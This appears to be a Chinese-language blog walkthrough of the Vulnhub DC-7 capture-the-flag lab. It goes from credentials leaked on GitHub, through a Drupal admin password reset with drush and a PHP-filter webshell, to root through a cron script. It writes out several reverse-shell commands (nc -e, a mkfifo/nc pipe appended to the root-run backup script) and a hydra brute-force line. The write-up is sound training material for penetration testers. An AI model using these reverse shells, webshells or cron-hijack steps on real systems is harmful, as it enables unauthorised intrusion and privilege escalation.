Vulnhub DC-7

明确:《中华人民共和国网络安全法 》 

Description

DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

While this isn't an overly technical challenge, it isn't exactly easy.

While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.

What you will need to do, is to think "outside" of the box.

Waaaaaay "outside" of the box. :-)

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

Technical Information

DC-7 is a VirtualBox VM built on Debian 64 bit, but there shouldn't be any issues running it on most PCs.

All challenges are tested with VirtualBox and VMware.

It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.

Installation is simple - download it, unzip it, and then import it into VirtualBox or VMWare and away you go.

Important

While there should be no problems using this VM, by downloading it, you accept full responsibility for any unintentional damage that this VM may cause.

In saying that, there shouldn't be any problems, but I feel the need to throw this out there just in case.

知道了目的后我们就可以进行下一步了,扫网段找 IP

扫 DC-7 的 IP 开了哪些服务,看到 80

单一网页,先一边后台扫敏感目录,然后我们在页面上看看有什么信息

Welcome to DC-7

DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are.  :-)

While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.

What you will have to do, is to think "outside" the box.

Way "outside" the box.  :-)

提示爆破不可能,所以应该有更隐藏的信息,源码也没有东西

对应的 CMS 是 Drupal,wpscan 不能用,用专扫 cms 的 droopescan 枚举用户名

扫出一个默认用户名 admin

 可以看看对应的漏洞

同时对比之前做过的 Drupal 页面,可以在左下角 Powered by Drupal 看到多出来了一个类似作者之类的联系人,直接搜索可以看到第一条是 GitHub 的用户 Dc7User,可以看到储存库有个项目

 这是公开的,而且进入后可以看到下面的留言

staffdb 

This is some "code" (yes, it's not the greatest code, but that wasn't the point) for the DC-7 challenge.

This isn't a flag, btw, but if you have made it here, well done anyway. :-)

后台扫描的页面基本是无法访问的,roborts 协议里也没有藏东西,如果再找不到东西我们就去利用漏洞,把这个数据库文件下载后查看各个敏感文件,发现一个 localhost 的用户名和密码

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

尝试连接 ssh 服务 

可以连接,且可以在欢迎语句中看到我有一封新邮件

且在当前目录下有个 mbox,是已阅邮件文件,可以看看,但没有有价值的东西

再次查看目录下文件时出现一句话,新邮件的位置 

找到目录,查看邮件

 

From root@dc-7 Sat Mar 26 18:45:26 2022
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Sat, 26 Mar 2022 18:45:26 +1000
Received: from root by dc-7 with local (Exim 4.89)
    (envelope-from <root@dc-7>)
    id 1nY233-0001Fh-Se
    for root@dc-7; Sat, 26 Mar 2022 18:45:25 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1nY233-0001Fh-Se@dc-7>
Date: Sat, 26 Mar 2022 18:45:25 +1000

Database dump saved to /home/dc7user/backups/website.sql               [success]

From root@dc-7 Sat Mar 26 19:00:26 2022
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Sat, 26 Mar 2022 19:00:26 +1000
Received: from root by dc-7 with local (Exim 4.89)
    (envelope-from <root@dc-7>)
    id 1nY2Ha-0001GN-LJ
    for root@dc-7; Sat, 26 Mar 2022 19:00:26 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1nY2Ha-0001GN-LJ@dc-7>
Date: Sat, 26 Mar 2022 19:00:26 +1000

Database dump saved to /home/dc7user/backups/website.sql               [success]

From root@dc-7 Sat Mar 26 19:15:26 2022
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Sat, 26 Mar 2022 19:15:26 +1000
Received: from root by dc-7 with local (Exim 4.89)
    (envelope-from <root@dc-7>)
    id 1nY2W6-0001JN-3l
    for root@dc-7; Sat, 26 Mar 2022 19:15:26 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1nY2W6-0001JN-3l@dc-7>
Date: Sat, 26 Mar 2022 19:15:26 +1000

Database dump saved to /home/dc7user/backups/website.sql               [success]

可以看到这是一个计时程序,脚本每隔 15 分钟执行一次,自己的后台发送给自己,如果在脚本中插入命令反弹 shell,即可提权

发现无法写入程序,没有权限,查看脚本

ls -l 查看目录信息,root 权限,www-data 所持有,www-data 是默认运行web服务的用户/组,所以可能我们需要利用之前所查找到的 admin 进入网页

 但是没有密码,在 DC7 网站上爬密码字典

hydra 爆破登录,没能爆出

hydra 192.168.37.129 ssh -f -l admin -P DC-7_passwd.txt -t 20

-f          爆到停

-l          指定用户名

-P         指定密码字典

现在我们需要登录 admin,没有其他的路了,再回头看看,到了这一步肯定是有方法,只是遗漏

邮件的内容已经没有其他的价值了,所以那个脚本应该还有东西

#!/bin/bash
rm /home/dc7user/backups/*                        删除
cd /var/www/html/        
drush sql-dump --result-file=/home/dc7user/backups/website.sql        drupal 命令
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/


gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql            加密


gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz        加密


chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

除去加密命令和删除命令有两条特殊的命令

chown dc7user:dc7user /home/dc7user/backups/*

这条是将 /home/dc7user/backups/* 的所有权转给 :后面用户

 这条命令是最特殊的,是 CMS 的操作命令

drush sql-dump --result-file=/home/dc7user/backups/website.sql        drupal 命令

在 Introduction · Begining Drupal 8 中文版  的 第15章 使用Drush 搜索到密码的相关命令

drush user-password admin --password="123456"

执行,重置 admin 密码,发现不能执行,权限过低

再回头看看,在脚本中是先执行了 cd /var/www/html/ 再执行 drush,所以试试

执行成功,所以刚刚进入的文件夹内就是 drupal 的后台文件,还可以看到其中的 robots.txt

登录成功了, 在网页中我们需要进行获取 www-data 的 shell 操作需要找到一个可以写入或者导入木马之类的点,但是没有什么有用的点,但是有个可以安装拓展的地方

Extend

而且我们现在在管理员的后台,可以直接看到更具体的版本号,所以漏洞利用就可以开始了

查找版本号更加匹配的漏洞,发现并没有相关的漏洞

如果我们想要上传木马执行,那就得有 php 能执行木马,而系统中有 php,但是没有看到 php 相关的编辑器,即使在编写首页内容,最多只有 html 的编辑器,所以如果能从拓展中安装一个编辑器就好了

在 Drupal core | Drupal.org 的官网中可以找到一些版本淘汰的功能信息

其中可以找到有关 PHP 编辑功能的信息,其中有 PHP Filter 在 8.x 版本删除的信息 PHP Filter module removed from Drupal core | Drupal.org 在文章中可以知道已经移走到模块区了,跟随可以找到相关模块的下载

下载到本地后模块安装,启用

找到新添加的 PHP Fliters 安装

 再次回到首页内容编辑

这时候就会发现多出了一个 PHP Code

转换为 PHP Code 后加上小马保存

我们写入的地方是首页,所以木马也在首页

用蚁剑连接进入后台

此时我们的身份就是 www-data,设置监听,反弹 shell

nc 192.168.37.128 3333 -c /bin/bash
nc -e /bin/bash 192.168.37.128 3333

两个都一样

获取到 www-data 的权限 

 

 获取交互式 shell

接下来我们要对之前的 backups.sh 脚本写入反弹命令,目前还没有能力自己写,这里使用 wp 的,但是可以分析 wp 使用的语句

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.37.128 3333 >/tmp/f" >> backups.sh

分析:

🧊linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:
0 - stdin         代表标准输入,使用<或<<
1 - stdout      代表标准输出,使用>或>>
2 - stderr      代表标准错误输出,使用2>或2>>

🧊使用的语句:
rm /tmp/f;       
mkfifo /tmp/f;   
cat /tmp/f|nc 192.168.37.128 3333 >/tmp/f

🧊rm /tmp/f 
删除(防止之前有相同的管道符使用冲突)

🧊mkfifo /tmp/f 
建立实名管道符 /tmp/f

🧊​cat /tmp/f           
取出管道符中的内容, |/bin/sh -i 2>&1 将前面取出的内容作为输入 
输入给 /bin/sh ,再将 bash 的 标准错误输出(2>) 也作为 标准输入(1) 给bash 
然后在 dc7user 上输出,传给 nc 远程,再将 nc 传来的数据
写入管道符 /tmp/f

🧊/bin/sh 
-c    命令从 -c 后的字符串读取
-i    实现脚本交互(打开一个交互的 shell)
-n    进行shell脚本的语法检查
-x    实现shell脚本逐条语句的跟踪

切换到脚本目录,执行命令将命令语句写入,查看,已经写入,接下来就是执行脚本了

设置监听,等待下一次脚本自动执行 

经过等待后获取到 root 的 shell

得到 theflag.txt

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Part 03

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值